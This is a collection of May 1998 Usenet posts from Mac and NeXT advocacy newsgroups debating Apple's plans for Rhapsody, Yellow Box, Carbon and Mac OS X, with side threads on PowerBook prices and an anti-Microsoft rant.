> http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: jes@rednsi.com (Josep Egea i Sanchez)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: rhapsody dr2 for intel??!??!??!
Date: 14 May 1998 14:50:28 GMT
Organization: Telefonica Transmision de Datos
Message-ID: <6jf0bk$3d2$2@diana.bcn.ibernet.es>
References: <6jdlds$o2o$2@newsfep4.sprintmail.com> <355A8F10.1D5858B4@unet.univie.ac.at>
<see-below-1405980105050001@209.24.241.190>
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Cc: see-below@not-my-address.com
In <see-below-1405980105050001@209.24.241.190> Matthew Vaughan wrote:
>
> macghod@concentric.net wrote:
>
> > I am slightly upset that dr2 for intel was delayed by several weeks. Dr2
for
> > intel was the easy part, as OS 4.2 was for intel. Plus, many have said
that
> > dr2 has been ready for the pc side for months, it was dr2 for ppc that
was
> > holding things up.
>
> I think this is totally false. If that were the case, why would they
> release it _after_ the PPC version? I can see them holding it up and
> releasing it at the same time, but I don't see sufficient evidence to
> suggest that it was actually ahead of the PPC version in the development
> process.
I can't know whether it is true or false. But if you need a reason for Apple
to delay DR2 Intel, it could perfectly be the same that applied to DR1 Intel.
(and DR1 Intel progress was way ahead from DR1 PPC for obvious reasons)
Best regards
--
Josep Egea - jes@rednsi.com - NeXTMail & MIME OK
NEXUS Servicios de Informacion - Barcelona (Spain)
Telf: + 34 3 285 00 70 - Fax: + 34 3 284 31 43
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.portables,comp.sys.mac.hardware,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple Should GET A GOOD LOW END POWERBOOK!!
Date: Wed, 13 May 1998 12:22:13 -0700
Organization: UC Irvine
Message-ID: <rmcassid-1305981222130001@dante.eng.uci.edu>
References: <6it738$ceg$1@newsfep4.sprintmail.com> <Barry-ya02408000R0705982252550001@nntp.netgate.net> <6ivef6$ntb$1@newsfep2.sprintmail.com> <6ivm1r$9un$1@larry.admin.phil.uu.nl> <joe.ragosta-0905981301430001@elk37.dol.net> <SnowSim-1105980159280001@blv-ux100-ip3.nwnexus.net> <6j9488$e9u$1@reader1.reader.news.ozemail.net> <3558CA19.693D@sympatico.ca> <3559e232.11448506@100.100.100.1>
In article <3559e232.11448506@100.100.100.1>, jwilker@wesweb.com (John T.
Wilker) wrote:
>I've been reading about the new Wall Street's and
>those things cost way to much money. Granted they are fast and very
>awesome but for that kind of sticker price I expect a car, not a
>notebook.
You expect a car for $2299. Where do you live, Romania?
-Bob Cassidy
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Thu, 14 May 1998 09:03:44 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355AF9C0.E4E7C8A4@milestonerdl.com>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2> <ericb-1105981902130001@132.236.171.104> <3557A1DE.17A6@earthlink.net> <bPZ51.1916$sy4.3331778@news.rdc1.sdca.home.com> <35586023.305658D1@milestonerdl.com> <ry_51.1921$sy4.3355491@news.rdc1.sdca.home.com> <35586AD9.C2C2FFB0@milestonerdl.com> <%D%51.1927$sy4.3384960@news.rdc1.sdca.home.com> <35588453.6DD10BC8@milestonerdl.com> <see-below-1205981905160001@209.24.240.213> <6jchjg$9nl$1@interport.net> <6jcqdt$rkr@nntp02.primenet.com> <nagleEsxEDn.2M6@netcom.com> <*johnnyc*-1405981142130001@rklein.psychology.dal.ca>
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John Christie wrote:
> The latest rumor is that SGI made a deal with Apple. Apparently a
> barter between QT and OpenGL is in the works.
That would be interesting.
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Random blatherings
Date: Wed, 13 May 1998 12:17:11 -0700
Organization: UC Irvine
Message-ID: <rmcassid-1305981217110001@dante.eng.uci.edu>
References: <6jatq7$72e$1@xmission.xmission.com> <3559089F.C8BDFAD1@milestonerdl.com> <3559173D.1A44DBFA@unet.univie.ac.at> <35597B98.E031BF17@milestonerdl.com> <6jcjie$1cc$22@ironhorse.plsys.co.uk> <3559D285.C7FC88FA@milestonerdl.com>
In article <3559D285.C7FC88FA@milestonerdl.com>, mark@milestonerdl.com wrote:
>I know Steve doesn't like to build software that sells someone else's
>hardware. Unless there is a two way opportunity for PPC hardware sales, the
>argument for cross-compiling - weak.
>
>Can you give a compelling argument to future YellowBox support on Intel? One
>that has NT 5.x/win98 listed EXPLICITLY? One that shows a future beyond
>Rhapsody for Intel 1.0?
YellowBox/Windows give developers a much larger incentive to port to
YellowBox to benefit Rhapsody/PPC. This then requires Apple to concede
some hardware sales to Wintel, true. BUT, if you look at Apple's hardware
marketing, you can see that they are acting to counter that by touting PPC
performance.
In a properly played out case, developers would support Apples
cross-platform efforts to deploy on existing Wintel seats, and Apple would
use that very same cross-platform application base to sell users on
equally compatable but much faster hardware - PPC.
I'm not sure if it would work, but it is one way that Apple benefits from
their cross-platform efforts.
-Bob Cassidy
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody vs MacOS X (was Re: Apple screws Rhapsody *and* Mac owners?)
Date: Thu, 14 May 1998 11:39:01 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1405981139020001@132.236.171.104>
References: <3559327d.0@news.camtech.net.au> <B17EAC79-91F44@206.165.43.165>
In article <B17EAC79-91F44@206.165.43.165>, "Lawson English"
<english@primenet.com> wrote:
> Why are you so happy at the thought of using DPS? Unless your app needs the
> ability to script DPS (ala the latest version of FreeHand), what does DPS
> offer you that GX or a GX-like entity wouldn't (ie., the various classes in
> YB)?
>
> I'm often baffled by the obsession with DPS that NeXT developers have. It
> doesn't make sense for most purposes.
Didn't Apple say that MacOS X will not support DPS but that they "would
not rule out using it in the future"? Or was that simply in reference to
Carbon?
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: 14 May 1998 08:51:00 -0700
Organization: Primenet (602)416-7000
Message-ID: <6jf3t4$krd@nntp02.primenet.com>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <nagleEsxEDn.2M6@netcom.com> <6je7ia$63i$1@crib.bevc.blacksburg.va.us> <6jetcp$623$1@nnrp1.dejanews.com>
spagiola@my-dejanews.com wrote:
: I would urge everyone to check out
: http://www.maccentral.com/news/9805/14.xfiles.shtml
This says Mac OS X will be "MacOS 3.0 + Carbon + Java + Yellow Box + a
graphics substrate". That sounds like a fine OS.
It has been defined by Apple to be Rhapsody-equivalent with the statement
"Yellow Box, Rhapsody's 'native' set of programming APIs, is a peer..."
That is an interesting definition. It sounds to me that programming done
on Rhapsody with high-level (OpenStep derived) APIs will be portable to
MacOS, while reliance on BSD services will not.
Is it Rhapsody? A question of semantics (now happily spelled correctly).
Some will consider MacOS X to be Rhapsody because the Yellow Box APIs live
on. Others might point out that the Yellow Box APIs are present on other
OSes that aren't Rhapsody (notably NT). Some might even point out that
the architecture of Carbon over Mach is very similar to projects Apple had
in progress before the NeXT purchase.
For me, Mac OS X is not Rhapsody and the latest UNIX-for-everyone
experiment is over[*]. I'll await MacOS X with an open mind. It sounds
promising in its own right. The good news for UNIX heads is that with a
POSIX api, MacOS X should be able to run the full GNU tool chain (as does
Be, another non-UNIX, but POSIX compliant OS).
John
* - pending new evidence, of course. If Mac OS X runs stuff like inetd
and has UNIX style device definitions, I'll call it Rhapsody.
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Thu, 14 May 1998 11:48:52 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1405981148530001@132.236.171.104>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <35593b48.6388203@198.0.0.100> <andyba-ya02408000R1205981051430001@news> <6jagk8$sol$1@xmission.xmission.com> <andyba-ya02408000R1305981540240001@news>
In article <andyba-ya02408000R1305981540240001@news>,
andyba@corp.webtv.net (Andy Bates) wrote:
> In article <6jagk8$sol$1@xmission.xmission.com>, Kristofer Jon Magnusson
> <kris@xmission.xmission.com> wrote:
>
> > Except that on Sunday, developing for Apple on Intel had a future. Today
> > it does not.
>
> Why not? Rhapsody for Intel is still coming out as well. Recompiled
> Rhapsody apps will still run both on Rhapsody for PowerPC and Rhapsody for
> Intel. And Rhapsody apps will still run on Mac OS X. Again, what's the
> problem?
Because that is the *only* release of Rhapsody for Intel that we'll ever see?
Apple has made it clear that they are combining MacOS 8 and Rhapsody to
create *one* OS, MacOS X. MacOS X will be Apple's only OS, and they have
*clearly* stated that it will not run on Intel-based computers.
I am still unsure about what's going to happen to YB on Windows. Like
Rhapsody, certainly we'll see an initial release. But from what I've
heard, Apple said nothing more about YB/Windows that it did about
Rhapsody/x86, and we know where the latter is headed... to the scrap heap.
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Random blatherings
Date: Thu, 14 May 1998 09:43:36 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355B0318.2D119336@milestonerdl.com>
References: <6jatq7$72e$1@xmission.xmission.com> <3559089F.C8BDFAD1@milestonerdl.com> <3559173D.1A44DBFA@unet.univie.ac.at> <35597B98.E031BF17@milestonerdl.com> <6jcjie$1cc$22@ironhorse.plsys.co.uk> <3559D285.C7FC88FA@milestonerdl.com> <rmcassid-1305981217110001@dante.eng.uci.edu>
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Robert Cassidy wrote:
> In article <3559D285.C7FC88FA@milestonerdl.com>, mark@milestonerdl.com wrote:
> In a properly played out case, developers would support Apples
> cross-platform efforts to deploy on existing Wintel seats, and Apple would
> use that very same cross-platform application base to sell users on
> equally compatable but much faster hardware - PPC.
Yes, and I agree. And, to see Apple do this would be a good thing. And PPC may
be the default platform, if Merced flops. The PPC has a growth plan in the G5
from IBM thats quite nice. The Intel growth plan is move to Merced.
However, Apple could be preping for a bait-and-switch. And the ppl who will be
burned are the ones who have believed Apple has a plan to support NT5. Such a
plan has not been announced formally. So, if you adopt YellowBox, your only
option is PPC's by Apple.
> I'm not sure if it would work, but it is one way that Apple benefits from
> their cross-platform efforts.
It may not. Machines are fast enough today that a 2x (or so) speed increase would
show little benifit for the 'type a letter/keep a recipe' user.
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Thu, 14 May 1998 15:46:13 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6jf3k5$fgt$1@nnrp1.dejanews.com>
References: <6jed3f$kfa$1@larry.admin.phil.uu.nl> <6jeo7l$nqt@singer.cent.gla.ac.uk>
sbrando@music.gla.ac.uk (Stephen Brandon - please fix my surname in my email
address) wrote:
> > They probably lost _us_ (my site, that is.)
>
> And us. University policy here is very anti-Mac so we can't purchase their
> hardware. I was hoping to go with Rhapsody/Intel, but it looks like there
> is no mainstream future for it, and none of the wealth of apps that would
> start to appear if Apple were to support it fully, instead of relegating
> it to second best ("server platform").
Don't give in to the FUD around here. It's far too early so say "there's no
mainstream future" for Rhapsody/Intel. See, for example,
http://www.maccentral.com/news/9805/14.xfiles.shtml
Stefano Pagiola
spagiola@my-dejanews.com
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: float@interport.net
Newsgroups: comp.sys.mac.portables,comp.sys.mac.hardware,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple Should GET A GOOD LOW END POWERBOOK!!
Followup-To: comp.sys.mac.portables,comp.sys.mac.hardware,comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 14 May 1998 12:22:44 -0400
Organization: Interport Communications Corp.
Message-ID: <6jf5ok$30u$1@interport.net>
References: <6it738$ceg$1@newsfep4.sprintmail.com> <Barry-ya02408000R0705982252550001@nntp.netgate.net> <6ivef6$ntb$1@newsfep2.sprintmail.com> <6ivm1r$9un$1@larry.admin.phil.uu.nl> <joe.ragosta-0905981301430001@elk37.dol.net> <SnowSim-1105980159280001@blv-ux100-ip3.nwnexus.net> <6j9488$e9u$1@reader1.reader.news.ozemail.net> <3558CA19.693D@sympatico.ca> <3559e232.11448506@100.100.100.1>
You get what you pay for. PCs are cheap, and that's why it's the most
broken architecture in production (at least, I haven't seen any other good
candidates for that honor.
John T. Wilker (jwilker@wesweb.com) wrote:
: I've not heard much about the Imac but one thing I know with certainty
: is that powerbooks and for that matter all mac systems cost way way
: too much money. I've been reading about the new Wall Street's and
: those things cost way to much money. Granted they are fast and very
: awesome but for that kind of sticker price I expect a car, not a
: notebook.
--
Ben
<Just Another System Administrator>
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Thu, 14 May 1998 12:32:00 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1405981232000001@132.236.171.104>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <pulsar-ya02408000R1205981246010001@news-proxy.cso.uiuc.edu> <3559E64B.A3A9AF2@spamtoNull.com> <pulsar-ya02408000R1305981504530001@news-proxy.cso.uiuc.edu>
In article <pulsar-ya02408000R1305981504530001@news-proxy.cso.uiuc.edu>,
pulsar@springnet1.com (Pulsar) wrote:
> > Jobs has made it crystal clear that's not going to happen. The current
> > Mac OS, without "PMT/PM/VM and such" is the "Crown Jewel" of Apple, not
> > Rhapsody, according to Apple's Eternally Interim CEO, Jobs.
>
> Well, duh. Do you seriously believe that Rhapsody was going to replace the
> Mac OS immediately and completely? Most Mac OS developers don't want this
> to be the case and a lot of Mac users don't want this to be the case.
> Rhapsody will just not be a suitable replacement as it starts out. There
> will be a significant market for it, but that market is _not_ all Mac
> users. That will become possible as Mac OS and Rhapsody are merged later in
> Mac OS X.
>
> The Yellow Box will be present in Mac OS X. It will be the API to program
> for if you are creating a new application. If you are going to rewrite your
> app anyway, you may as well write it for the Yellow Box. For those who
> already have invested a lot of time in the Mac OS APIs and don't want to
> port to Yellow Box, there are the Carbon APIs as a way to help ease the
> transition for users and provide them the useful core OS features that YB
> apps and modified Mac OS apps can take advantage of.
I was certainly hoping that Apple would say something like this:
"YB is our set of APIs for the future. Take as long as you need to feel
comfortable porting to it, because our new modern OS [whatever you want to
call it] will have an up-to-date Blue Box to emulate your older software.
When you've ported to YB, your apps will have better performance and they
will run our PPC and Intel versions of the OS, and will also run in YB for
Windows. This is a significant advantage of YB--don't throw it away. To
show you how powerful it is, we're rewriting AppleWorks (formerly
ClarisWorks) in YB as a demonstration. We should have done that with
OpenDoc, but we screwed up. This time we'll show you what can be done
with this powerful tool."
Instead we have:
"Keep writing your apps to MacOS APIs. We know new APIs are so hard to
learn that developers will ignore them no matter what features they
offer. To show that we really understand this philosophy, we're not going
to use a decent imaging API like DPS or GX in our new OS. We're using
sucky 'ol QuickDraw. We'll ship a version of Rhapsody x86 and YB for
Windows and see how many people we can sucker into using it, but as you've
seen we refuse to commit to either for the long term, and observant people
can probably figure out what that means. And just to prove how crazy we
are, we're not going to support that spiffy, expensive 9600/350 you just
bought at the beginning of this year."
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Thu, 14 May 1998 11:59:18 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1405981159190001@132.236.171.104>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <andyba-ya02408000R1205981008330001@news>
In article <andyba-ya02408000R1205981008330001@news>,
andyba@corp.webtv.net (Andy Bates) wrote:
> In article <ericb-1105981832070001@132.236.171.104>, ericb@pobox.com (Eric
> Bennett) wrote:
>
> > I know that Rhapsody will ship! My objection is that Apple's mainstream
> > OS for the average Mac user is not shipping until 1999!
>
> Sure it is! It's called MacOS 8.5, and it's shipping in Fall of 1998.
I meant *modern* mainstream OS. Sorry I left out that crucial word.
> And for anyone who wants to write NEW applications, the Rhapsody
> development environment will still be the best thing for them. And for
> people who want other advanced Rhapsody features (such as OO development
> and cross-platform), they'll still need to port to Rhapsody.
But the apps everyone depends on today will not be rewritten for YB. No
Photoshop, no WordPerfect, no Excel...
> It is NOT another significant delay! It is adding a new feature set in the
> future, over and above what was already promised (which is still coming out
> on time).
Yeah, right. This "adding a new feature set" excuse is the same BS we got
when they replaced Copland with Rhapsody. "We're killing our old
modernized OS but we'll give you something even better!" I don't want an
OS that gets better and better and better but is always 18 months away
from being shipped. I would be much happier with an OS that Apple can
ship on time, even if it doesn't provide anything more than memory
protection and PMT.
> > I can conclude that Rhapsody is not Apple's modern new OS for the average
> > Mac user,
>
> To be fair, Apple said a long time ago that Rhapsody will not be for the
> average user.
The original plan, as I recall it, was that Rhapsody (and YB with
cross-platform compatibility) would become Apple's mainstream OS. Parts
of Rhapsody are still going to be included, but YB looks like more of an
afterthought at this point.
> If people don't want to port, then the apps won't run on Intel, just like
> they wouldn't before. But now, they WILL have modern OS features on the
> Mac. And if people start from scratch, they can write Rhapsody apps that
> will run on both.
But they've got to be skeptical about learning YB so they can be
cross-platform compatible when they can't be sure there will be YB on
anything but PPC over the long term.
The current strategy is fine for defending the exist Mac market. Apple
*had* a plan for *expanding* by encouraging develpers to port to a
cross-platform environment that would run on Intel systems. They are now
either throwing that away or largely ignoring it (I will change my mind if
and when Apple clearly commits to YB for Windows over the long term).
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Thu, 14 May 1998 12:03:09 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1405981203090001@132.236.171.104>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com>
In article <35586F01.243A7BE3@spamtoNull.com>, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
> This is Jobs resorting to Apple's tried and True formula of
> "Promise 'em anything, but always give 'em the NeXT Great Thing." This
> is damage control, pure and simple. In other quarters it's called "bait
> & switch." Some Apple fans seem to have an absolutely ravenous and
> unquenchable appetite for this approach. I wonder how well it will work
> this time.
I agree. Jobs may be a better technologist and innovator than Gates, but
if I had to say what I though each man's primary strenth was, I'd say
Gates is a businessman and Jobs is a PR man.
Maybe we could get the Apple BOD to hire Linus as CEO?
> If Jobs was as optimistic as you are about all of these interim, baby
> steps, why bother to announce "Mac OS 10" at this early stage, almost
> two years before its release? Nope--this is Apple's same old same old.
It's closer to one year, but admittedly that's before the obligatory delays.
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Thu, 14 May 1998 12:38:17 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1405981238170001@132.236.171.104>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <3558726E.E5C7C92D@no-spam.lmco.com> <6ja6ji$k4$3@news.idiom.com> <3559E9B3.5718F3D7@spamtoNull.com> <pulsar-ya02408000R1305981507200001@news-proxy.cso.uiuc.edu>
In article <pulsar-ya02408000R1305981507200001@news-proxy.cso.uiuc.edu>,
pulsar@springnet1.com (Pulsar) wrote:
> Architecturally, the Mac OS is way past its prime. The name still holds a
> lot of power. Mac OS X will look just like the Mac OS.
I'm not sure MacOS X is different enough. Maybe they should try "MacOS
NT". :-)
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Thu, 14 May 1998 12:36:21 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1405981236220001@132.236.171.104>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <pulsar-ya02408000R1205981246010001@news-proxy.cso.uiuc.edu> <3559A517.5562EE28@sys.uea.ac.uk> <pulsar-ya02408000R1305981108250001@news-proxy.cso.uiuc.edu> <3559FA4D.CF4A4BF4@spamtoNull.com> <355a269d.0@news.depaul.edu>
In article <355a269d.0@news.depaul.edu>, Jonathan W Hendry
<jhendry@shrike.depaul.edu> wrote:
> If Jobs were 'in bed' with Microsoft, he'd be out campaigning for
> the 'Free Redmond' effort, signing petitions, going to rallys,
> etc. You couldn't get a more persuasive voice than someone running
> a company squished by Microsoft, who's been affected by Microsoft's
> creative definition of 'innovation', and who isn't as directly under
> Gates' thumb as the Wintel CEO's.
>
> He's not doing that. He hasn't been heard of, wrt Microsoft.
The *old* Jobs probably would have asked to appear before the Senate along
with Barksdale and McNealy so he could tell people what scum the
Microserfs are. His neutrality (inspired by cash) is enough to call him
"bought off" in my book, even if "in bed with" is probably a bit
excessive.
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Lots of misinformation
Date: Thu, 14 May 1998 16:01:13 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6jf4g9$gpm$1@nnrp1.dejanews.com>
References: <01bd7de2$cfc7f170$04387880@test1> <3558CD7D.5327CAB0@unet.univie.ac.at> <35593144.34FC9080@nstar.net> <slrn6ljdh9.p80.sal@panix3.panix.com> <355B1C15.83CCAA4D@nospam.com>
Tim Triemstra <nospam@nospam.com> wrote:
> > Rhapsody gets more Apps, Developers get to keep thier curerent source
> > code and users get a better OS. I don't see any downside other than the
> > 15 month wait for OSX.
>
> This is debatable. How does Rhapsody get more apps? As much as Carbon
> is needed, it is also a hobbling factor in the area of Rhapsody. The
> simple fact is that you will not get many people jumping onto Rhapsody
> that weren't already NeXT or Mac developers - at least not until the
> platform picks up some steam. Given that, Carbon cuts away a portion of
> those potential Rhapsody developers by telling them to just port their
> existing Mac OS apps. Not that I'm against that, but you must admit
> this doesn't result in more Rhapsody apps.
The likelihood that the developers who are going to use carbon would have
otherwise used yellow box (at least in the short run) is small. So carbon
means that Rhapsody gets more apps because unless carbon is there, all those
apps simply won't be available, except through the blue box. Carbon means
users get access to a vast array of multi-tasking, memory-protected apps from
day one of OS X. That's an improvement. And since this means adoption of
Rhapsody ^H^H^H er Mac OS X will likely be greater than it would have been, it
also creates a much larger potential market for Yellow Box app developers.
Everyone wins.
Of course, it would have been even better if all Mac developers had simply
moved to Yellow Box. But they clearly weren't going to do that, for a variety
of reasons.
> ... The good thing for Rhapsody
> is that it appears that a Yellow Box app will still likely run better on
> Mac OS X than a Carbon app since it should be "more native". Apple
> should stress this so that people understand new apps should be written
> in Yellow Box. From everything I've read, I have been given no such
> impression. In fact, I haven't read a single thing encouraging me to
> write for Rhapsody in months.
It remains true that Yellow Box apps will have inherent advantages (they get a
whole lot of things for free from the Yellow Box APIs, plus they are
cross-platform, which Carbon apps most likely will not be). Smart developers
will realize this.
Apple has clearly decided that their most important course of action at this
time is to hand-hold the traditional developers and gently lead them into the
promised land. If that's what it takes to have a large app base for Rhapsody,
er Mac OS X, then so be it. But the future remains Yellow Box.
Stefano Pagiola
spagiola@my-dejanews.com
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Thu, 14 May 1998 12:43:41 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1405981243410001@132.236.171.104>
References: <35593b48.6388203@198.0.0.100> <B17DF73F-8875F@209.109.225.96>
In article <B17DF73F-8875F@209.109.225.96>, "Benjamin Smith"
<benjs@ix.netcom.com> wrote:
> I usually don't agree with much of what Nathan has to say but there is a
> lot of validity here. We must be jaded. Put up Apple or shut up. Every 18
> months a new pie-in-the-sky strategy emerges. I take this one with the same
> grains of salt that I've taken the rest.
I agree but at least it looks like we *will* get Rhapsody/PPC in
September. That will deliver on many of Apple's old promises.
It will be late, and the x86 version looks DOA, but at least they are
shipping us an OS, and from what I can tell almost anything that runs on
MacOS 8 will run on Rhapsody 1.0 and anything that runs on Rhapsody 1.0
will run on MacOS X (with the probably exception of system extensions that
are emulated in the Rhapsody blue box but are not supported in OS X). I'm
disappointed, but this is still a big improvement over what we got out of
the Copland mess.
My feeling is that Apple is going to do just fine keeping the current
MacOS market alive, but that they are largely throwing away a great way to
expand their reach (YB).
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Thu, 14 May 1998 13:03:54 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1405981303550001@132.236.171.104>
References: <ericb-1105981718430001@132.236.171.104> <6j9egu$19r$1@crib.bevc.blacksburg.va.us> <6j9lrd$gl7$1@larry.admin.phil.uu.nl> <slrn6lgo9c.l2e.sal@panix3.panix.com> <6jcf2d$iu2@newsb.netnews.att.com>
In article <6jcf2d$iu2@newsb.netnews.att.com>,
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
> Well, Apple is promising to deliver on this -- i.e., Carbon.
> What is everybody's problem ?
The death of YB as a cross-platform solution. If Apple were going to
announce long-term YB Windows support or long-term Rhapsody/Intel support,
I think they would have announced it at WWDC. They did not. Read between
the lines. What does this tell you?
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Thu, 14 May 1998 13:08:38 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1405981308380001@132.236.171.104>
References: <ericb-1105981718430001@132.236.171.104> <6j7t4a$v9r$1@crib.bevc.blacksburg.va.us> <markeaton-1105982335100001@209.86.154.31> <nagleEsvKot.1Hn@netcom.com> <andyba-ya02408000R1305981546300001@news>
In article <andyba-ya02408000R1305981546300001@news>,
andyba@corp.webtv.net (Andy Bates) wrote:
> Mac OS 7.6: on time.
Included nothing of significance that couldn't have been downloaded months
before.
> Mac OS 8.0 (Harmony, not Copland): on time.
> Rhapsody
> Blue Box: early. Mac OS 8.1: on time.
>
> What's the problem?
It's hard to say whether 8.1 was on time or not given that they just sort
of released it without ever saying (except for a few weeks beforehand)
when they were intending to release it. I would call it late given the
estimated shipping dates leaked by inside sources.
Rhapsody DR1: late.
Rhapsody for the general public: late.
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: "Edwin E. Thorne" <edwin.thorne@rauland.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.sun.misc,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.os2.advocacy
Subject: Re: Pussy Puddles vs. Micro$loth
Date: 14 May 1998 17:11:11 GMT
Organization: WorldWide Access - Midwestern Internet Services - www.wwa.com
Message-ID: <01bd7f5a$b6d77680$c07498cf@edwint.rauland.com>
References: <6j65u1$c04$1@news.orbitworld.net>
Pussy Puddles <pollyf@spamblock.us> wrote in article
<6j65u1$c04$1@news.orbitworld.net>...
>
> 1.) Windoze '98 should be held up indefinitely by the courts of
> every civilised land until Micro$loth is split into 3 or 4 parts by
> the Justice Department (with Bill Gates being ordered to divest
> all financial interests in the new corporations).
>
> 2.) We the people should find out which large corporations
> have succumbed to standardising on Micro$loth products and
> boycott THEM ALL. It's not as hard as you might think. There
> are tens of thousands of information specialists in these
> corporations willing to spill the beans about the way Micro$loth
> controls the information infrastructure of their organisations -- and
> they are mad as hell about it. Some post right here on USENET.
>
> 3.) An organisation espousing alternatives such as MacOS,
> UNIX, LINUX, etc. needs to be setup to educate both large and
> especially small businesses of the dangers of Micro$loth, and
> show them how superior the alternatives are.
>
>
>
> ,Polly
>
>
